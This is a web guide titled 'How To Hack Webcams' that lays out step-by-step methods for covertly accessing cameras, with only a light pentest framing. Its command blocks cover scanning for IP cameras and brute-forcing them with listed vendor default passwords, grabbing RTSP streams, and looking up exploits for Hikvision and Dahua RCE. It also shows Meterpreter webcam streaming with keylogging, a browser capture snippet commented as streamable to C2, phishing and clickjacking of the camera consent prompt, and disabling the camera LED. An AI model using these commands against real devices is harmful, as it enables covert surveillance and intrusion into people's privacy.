How To Hack Webcams (Guide)

How To Hack Webcams

Here's the full methodology/guide on how to hack webcams and other types of cameras.

The Attack Surface

Webcams aren't one thing. They're embedded laptop cameras, USB peripherals, IP surveillance cameras, and smartphone sensors — each with different access paths.

What You're Actually Testing

• Can an attacker access the camera remotely via malware?

• Are IP cameras on the network properly segmented and credential-hardened?

• Does physical access = immediate camera compromise?

• Are browser-based camera permission models being bypassed?

IP & Surveillance Cameras

This is the most impactful vector in corporate pentests. IP cameras are notoriously poorly secured.

Discovery

bash

# Nmap scan for common camera ports
nmap -p 80,443,554,8080,8081,8443,37777 --open 192.168.1.0/24

# RTSP discovery (Real Time Streaming Protocol)
nmap -p 554 --script rtsp-url-brute 192.168.1.0/24

# ONVIF discovery (common standard for IP cameras)
nmap -p 80,8080 --script onvif-check 192.168.1.0/24

# Masscan for speed on large ranges
masscan -p80,554,8080,37777,8000 --rate=1000 10.0.0.0/16

Default Credential Testing

IP cameras ship with default credentials at an alarming rate. Each manufacturer has known defaults:

bash

# Hydra against common camera HTTP auth
hydra -L camera_users.txt -P camera_passwords.txt -M camera_targets.txt http-get "/"

# Common camera defaults (sampling):
# admin:admin, admin:12345, admin:password, admin:888888
# root:pass, root:admin, root:12345
# admin: (blank), user:user, operator:operator
# Hikvision: admin:12345, Dahua: admin:admin
# Axis: root:pass, Vivotek: root: (blank)

Nmap NSE Scripts

bash

# Broadcast discovery
nmap --script broadcast-avahi-dos
nmap --script http-webcam-scan

# Specific camera exploitation scripts
ls /usr/share/nmap/scripts/ | grep -iE "cam|hikvision|dahua|axis|rtsp|onvif"

# Examples:
nmap --script http-hikvision-cve-2021-36260 -p 80 <target>
nmap --script rtsp-* -p 554 <target>

RTSP Stream Access

If you find an unauthenticated RTSP stream:

bash

# Test RTSP connection
ffprobe rtsp://192.168.1.100:554/stream1
ffprobe rtsp://admin:12345@192.168.1.100:554/cam/realmonitor?channel=1&subtype=0

# Common RTSP paths (brute force these):
# /stream1, /live, /cam/realmonitor, /h264, /media/video1
# /onvif1, /live.sdp, /videoMain, /ch01/av0

# Record stream to file (proof of access)
ffmpeg -i rtsp://target:554/live -t 30 -c copy proof_of_access.mp4

# Take snapshot only
ffmpeg -i rtsp://target:554/live -vframes 1 -q:v 2 snapshot.jpg

ONVIF Exploitation

ONVIF is a SOAP/XML protocol that cameras use for discovery and control. Many implementations have auth bypasses:

bash

# ONVIF Device Inspector (Kali)
git clone https://github.com/behindsecurity/onvif-inspector
cd onvif-inspector
python3 onvif-inspector.py --target 192.168.1.100

# ONVIFer — dedicated ONVIF exploitation
git clone https://github.com/mcw0/PoC
# Check for ONVIF-related PoCs

# Manual SOAP request for device info (often accessible without auth)
curl -s http://192.168.1.100/onvif/device_service \
  -H "Content-Type: application/soap+xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope">
  <s:Body>
    <GetDeviceInformation xmlns="http://www.onvif.org/ver10/device/wsdl"/>
  </s:Body>
</s:Envelope>'

Known CVE Exploitation

IP cameras are riddled with CVEs. Common ones to test:

bash

# Hikvision CVE-2021-36260 — unauthenticated RCE
searchsploit hikvision

# Dahua CVE-2021-33044 — authentication bypass
searchsploit dahua

# Generic camera RCE via firmware upload abuse
searchsploit ip camera
# Check results: many cameras accept unauthenticated firmware updates

# Searchsploit workflow
searchsploit hikvision
searchsploit -m 50167  # Mirror specific exploit

MQTT Camera Feeds

Modern IoT cameras often use MQTT for streaming. Default MQTT brokers with no auth are surprisingly common:

bash

# MQTT discovery
nmap -p 1883,8883 --script mqtt-subscribe 192.168.1.0/24

# Manual MQTT subscribe
mosquitto_sub -h 192.168.1.100 -t "#" -v

# Look for camera-related topics
mosquitto_sub -h 192.168.1.100 -t "camera/#" -v
mosquitto_sub -h 192.168.1.100 -t "home/#" -v
mosquitto_sub -h 192.168.1.100 -t "device/+/camera" -v

Laptop/Desktop Webcam Access via RAT

For authorized post-exploitation testing, accessing the built-in camera after gaining remote code execution:

Metasploit

bash

# Meterpreter has built-in webcam capabilities
meterpreter > webcam_list        # List available cameras
meterpreter > webcam_snap        # Take a single snapshot
meterpreter > webcam_stream      # Stream live video
meterpreter > webcam_snap -i 5   # Continuous capture every 5 seconds

# Keylogging to capture when user is active
meterpreter > keyscan_start
meterpreter > keyscan_dump

# Screen capture to confirm user is present
meterpreter > screenshot

Custom Capture (OS-Specific)

Windows — via PowerShell:

powershell

# Requires .NET Windows Forms. Captures single frame.
Add-Type -AssemblyName System.Windows.Forms
Add-Type -AssemblyName System.Drawing

# Get screen dimensions (indicates display setup, possible multi-monitor)
[System.Windows.Forms.Screen]::AllScreens | Select Bounds

# Capture via CopyFromScreen (screenshot — webcam requires DirectShow)
# For actual webcam access on Windows, use DirectShow or Media Foundation
# This is often done via a compiled DLL or C2 implant

Full webcam capture on Windows requires DirectShow / Media Foundation APIs:

cpp

// Native approach — Create a filter graph, enumerate video capture devices,
// connect to the webcam, grab frames. This is what Metasploit's
// webcam_snap does internally. The Meterpreter stdapi extension
// wraps this in a clean command so you never write this yourself.

Linux — via Video4Linux:

bash

# List cameras
ls /dev/video*
v4l2-ctl --list-devices

# Capture a single frame (streamer package)
streamer -c /dev/video0 -o capture.jpg -j 100

# With ffmpeg
ffmpeg -i /dev/video0 -frames:v 1 -q:v 2 capture.jpg

# Check if camera is in use (LED indicator status)
v4l2-ctl --all | grep -i "power line\|auto_exposure\|led"

macOS:

bash

# List cameras
system_profiler SPCameraDataType

# Capture with imagesnap (not pre-installed, but common)
imagesnap -w 1 snapshot.jpg

# Or via avfoundation with ffmpeg
ffmpeg -f avfoundation -list_devices true -i ""
ffmpeg -f avfoundation -video_size 1280x720 -i "0" -frames:v 1 capture.jpg

Browser-Based Camera Access

This tests whether user-granted camera permissions can be abused or bypassed.

Permission Model Testing

The browser permission model requires explicit user consent. Your test is whether you can:

1. Social engineer the consent dialog (a phishing page that looks legitimate)

2. Bypass via clickjacking — overlay a transparent "Allow" button

3. Persist access after permission granted — background tabs can hold camera access

   
   

Test page for camera enumeration:

html

<!-- Basic camera test — will trigger browser permission dialog -->
<video id="preview" autoplay playsinline></video>
<script>
navigator.mediaDevices.enumerateDevices()
  .then(devices => {
    devices.filter(d => d.kind === 'videoinput').forEach(cam => {
      console.log(`Camera: ${cam.label} (${cam.deviceId})`);
    });
    // Access first camera
    return navigator.mediaDevices.getUserMedia({ video: true });
  })
  .then(stream => {
    document.getElementById('preview').srcObject = stream;
    // Stream now active — can be recorded, snapshotted, streamed to C2
  });
</script>

WebRTC Leak Testing

WebRTC can expose local IP addresses even through VPNs. During a pentest, check if the camera stream metadata leaks internal network info:

javascript

// WebRTC IP leak test
const pc = new RTCPeerConnection({ iceServers: [] });
pc.createDataChannel('');
pc.createOffer().then(o => pc.setLocalDescription(o));
pc.onicecandidate = (e) => {
    if (e.candidate) {
        const ip = e.candidate.address;
        console.log(`Local IP leaked: ${ip}`);
    }
};

Mobile Device Camera Access

For authorized mobile pentesting:

Android

bash

# Via ADB (USB debugging enabled or post-exploit)
adb shell

# Take photo with rear camera
am start -a android.media.action.IMAGE_CAPTURE

# Direct camera access via content provider
content call --uri content://media/external/images/media

# Check camera permissions
dumpsys package com.target.app | grep -i camera

# ADB screenshot (not camera, but still visual recon)
adb exec-out screencap -p > screen.png

iOS

iOS camera access is significantly more locked down. With a jailbreak or MDM profile:

bash

# Via libimobiledevice (jailbroken or trusted device)
idevicescreenshot screenshot.png

# Check camera usage permissions
ideviceinfo | grep -i camera

Physical Access Attacks

If you have physical access:

USB Webcam Impersonation

A Raspberry Pi Pico or similar can enumerate as a USB video device:

python

# Pico can be configured as a USB Video Class (UVC) device
# This would appear as a webcam to the OS
# Combined with the keystroke injection from earlier — 
# plug in what appears to be a webcam, it's actually a HID attack platform

Camera Cover Bypass (Physical)

Test whether laptop camera shutters are present. Report if users are expected to have them. The hardware slider is the only defense that can't be bypassed in software. Your finding: "LED indicator is software-controlled on this model and can be disabled by firmware modification."

The LED Indicator Problem

The sacred rule of webcam security is "the LED is hardwired to the camera power." On many laptops, this is true. On many others, it's firmware-controlled.

Testing LED Hardwiring

bash

# Linux: Test if LED can be controlled independently
# If the LED is hardwired, this won't work
echo 0 > /sys/class/leds/camera::capture/brightness   # If this path exists, LED is software-controlled

# Check for firmware control
ls /sys/class/leds/ | grep -i cam

On some older MacBooks, the iSight camera LED was hardwired and impossible to bypass without physical modification. On many current Windows laptops, the camera module firmware controls the LED, and there are documented cases of firmware-level LED disable.

This is a high-value finding in a pentest report — if the LED can be killed in firmware, the physical privacy indicator is worthless.

Pentest Methodology Summary

1. NETWORK PHASE
   ├── Discover IP cameras (nmap, masscan, Shodan for external)
   ├── Identify vendors (HTTP banners, ONVIF, NSE scripts)
   ├── Test default credentials (Hydra, manual, vendor lookup)
   ├── Test unauthenticated RTSP (ffprobe, ffmpeg)
   ├── Test ONVIF API for auth bypass
   ├── Check for CVEs (searchsploit, manual PoCs)
   └── Check MQTT brokers for camera feeds

2. POST-EXPLOITATION PHASE
   ├── Meterpreter webcam_snap / webcam_stream
   ├── Custom DirectShow/V4L2 capture
   ├── Check if LED is hardwired or firmware-controlled
   └── Document OS-level camera permission model

3. CLIENT-SIDE PHASE
   ├── Browser permission dialog testing
   ├── WebRTC IP leak testing
   ├── Clickjacking camera permission bypass
   └── Persistent camera access in background tabs

4. PHYSICAL PHASE
   ├── Test camera shutter existence
   ├── Test LED hardwiring
   ├── USB HID/Video spoofing attacks
   └── Dock/Thunderbolt camera passthrough